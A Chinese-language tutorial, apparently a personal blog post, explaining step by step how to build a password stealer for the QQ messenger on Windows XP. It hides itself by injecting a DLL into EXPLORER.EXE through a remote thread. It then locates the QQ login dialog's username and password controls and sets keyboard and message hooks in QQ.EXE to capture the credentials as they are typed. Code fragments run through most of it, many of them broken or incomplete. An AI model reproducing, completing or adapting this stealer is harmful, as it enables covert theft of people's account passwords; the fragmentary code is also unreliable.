平臺:windows xp sp2; 一。先講幾句廢話: 經常有聽到有朋友QQ被盜的消息,總感覺做出這種行爲的人是可鄙的,不就是對QQ窗口進行監視,然後再是記錄用戶輸入的號碼和密碼,認爲沒什麼了不起。 對於Windows核心編程,本人還是一隻菜鳥,前一段時間把《Windows系統編程》粗略的看一邊(當然重點地方仔細的看),由於對於C++有點基礎,感覺學起來比較容易上手。但到了這兩天真正實踐的時候,遇到了各種各樣的問題。即使一個小小的問題都足以讓我這隻菜鳥鬱悶老半天。直到此時,在完成這個軟件的時候,整理一下思路,不但算是給自己個總結,也跟像我一樣的菜鳥們分享一下自己的經驗。 二。進入主題: 想必大家都已經知道,這類軟件的特點就是在用戶不知不覺的時候工作。在任務管理器中是看不到它們的,這就是隱藏了進程。採用插入內核的嵌入方式、利用遠程插入線程技術、嵌入DLL線程、或掛接PSAPI等都可以達到效果,哎,既然是個菜鳥就選擇一個最簡單的來做個實驗。 先講一下思路:需要三個進程A,B,C;兩個DLL。 初始進程A,用於在進程B中創建遠程線程,創建成功立即退出,不會留給任務管理器任何捕捉它的機會(你根本來不及觀察)。 進程B作爲遠程線程的寄主,選擇的時候應該是那些系統中必須執行的進程,比如EXPLORER.EXE。其中的遠程線程用於監視目標進程。 進程C爲目標進程在這裏也就是QQ.EXE。 第一個DLL(InspectQQLandDlg.dll),遠程線程的載體。 第二個DLL(MyHook.dll),全局鉤子函數的載體。 現在要做是利用進程A把InspectQQLandDlg.dll映射到進程B,同時啓動該DLL中的遠程線程,再利用該線程監視目標進程(QQ.EXE)QQ登陸窗口,一旦找到,立即把MyHook.dll映射到目標進程來監視用戶的輸入。 這樣也清楚了這個軟件設計的總體構架,下面用代碼來具體實現。 1。遠程線程的創建。先利用進程快照取得目標進程,相對比較簡單 HANDLE hSnapshot ; string lpName = "EXPLORER.EXE" ; //設定需要監視的進程名 //取得宿主進程(EXPLORER.EXE)的句柄 //取得目標DLL的當前路徑(路徑可自由設置) LPVOID pszInspectDllRemote ;
//獲取動態鏈接庫函數地址 CloseHandle ( hRemoteProcess ) ; 2。此時InspectQQLandDlg.DLL已經被映射到EXPLORER.EXE。此時在InspectQQLandDlg.DLL的DllMain(千萬不要寫成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般來說不因在DllMain中執行過多的功能(借鑑前人的經驗,嘿嘿),於是很容易想到開闢一個新線程。 switch(fdwReason) //下面這句會給你創建遠程線程成功的提示。 HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ; 在新線程中要達到的目標只是一個循環,利用while()和循環標誌(BOOL)isContinue即可以實現。 在這個遠程線程中要完成的第二個任務是找到QQ登陸對話框中關鍵控件。 關於這點網上有很多資料,利用的是FindWindow和FindWindowEx,這是針對以前的版本。在這裏已經無效了,現在QQ在這裏下了點工夫,採用的是窗口標題採用隨機字符。 就以登陸對話框爲例,對話框的類爲"#32770",或許許多菜鳥朋友會像我在最初的時候一樣,傻傻用FindWindow ("QQ用戶登陸","#32770") ;結果什麼都沒有,哎~~ 其實可以通過窗口枚舉搞清楚QQ在這裏到底做了什麼手腳。 BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam ) {
if ( !strcmp ( szWindowClassName, "#32770" ) ) __asm int 3 } return true ; 利用上面的程序段,在VC調試器中不斷按F5且同時在WATCH中觀察szWindowName,很容易發現這個窗口名字符串是由不超過二十個字符組成(多次觀察),但其中的元素只有0X13,0X10,0X32,字符串中的每個位置都是三個元素之一。但在SPY++中窗口名中看起來只不過是“ ”,怎麼看都只是幾個空格(再提醒一下,不要試圖通過複製其中的內容,效果可是無法忍受的,呵呵) 事實上登陸窗口可以通過窗口的許多確定因素來確定,比如窗口風格,窗口ID之類的,這些都可以通過SPY++輕易得到(SPY++,好東西啊),下面也就不多發話了,直接給出各個關鍵控件的代碼。 #define UserNameComboBoxId 0x0000008A //用戶名控件ID BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam ) long style = GetWindowLong ( hwnd, GWL_STYLE ) ; return false ; return true ; BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam ) //取得指定句柄的控件ID if (id == UserNameComboBoxId ) }
else if ( id == PasswordEditId ) else if ( id == ButtonId ) return true ; 到這裏終於取得盼望多時的hUserName,hPassword,hButton這三個控件的句柄。~v~ 在這裏其實可以用 SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName ); 取得UserName(QQ號碼),但不能取得密碼。 可以隨便下載個*號密碼,再在密碼框中輸入幾個字符,結果可能是失敗,不知道QQ做了什麼手腳,有機會再好好研究。既然此路不通,菜鳥也自己的辦法去達到目標。 現在遠程線程的第二個功能(取得關鍵控件的句柄)已經完成,接下來要做的事是把MyHook.dll映射到QQ.EXE,這樣即可實現對用戶鍵盤輸入的監視。 只需調用MyHook.dll的接口函數即可 SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ; 3。MyHook.dll模塊。 EXPORT BOOL WINAPI SetHook ( HWND hQQLand, DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ; hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, if ( hKeyboard != NULL && hWndProc != NULL ) else hHookDll = NULL ; return false ; 這個程序段很簡單只是通過檢測遠程線程的輸入安裝、卸載鉤子函數。 如果對鉤子函數不清楚的朋友,看一下MSDN或者WIN32函數集就可以了。 這裏對QQ登陸對話框線程設置兩個鉤子,一個鍵盤鉤子函數記錄鍵盤輸入;另一個全局消息鉤子。 LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam ) {
//檢測回車鍵是否被按下 //由於鉤子函數只是記錄對密碼框的記錄,因而在最後時刻取得號碼會是準確的 //此處可以自由處理攔截到的號碼和密碼(szUserName,szPassword) //不要忘了變量還原(szUserName,szPassword) if ( lParam > 0 && wParam != VK_RETURN ) if ( strlen ( KeyName ) == 1 ) return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ; 也由一部分用戶是用鼠標點擊登陸按扭的,可由下面代碼實現 LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); //這裏可添加如何處理密碼的語句 上面給出的幾段代碼可以實現基本的號碼和密碼記錄功能,但對於具體細節的處理(比如用戶按退格鍵或是其他),這些只要考慮仔細就可以了沒有什麼難度,這裏就不說了。 到此,我想應該把核心部分講清楚了。由於時間比較緊,寫的比較倉促,難免有不足之處,請各位多指教。
|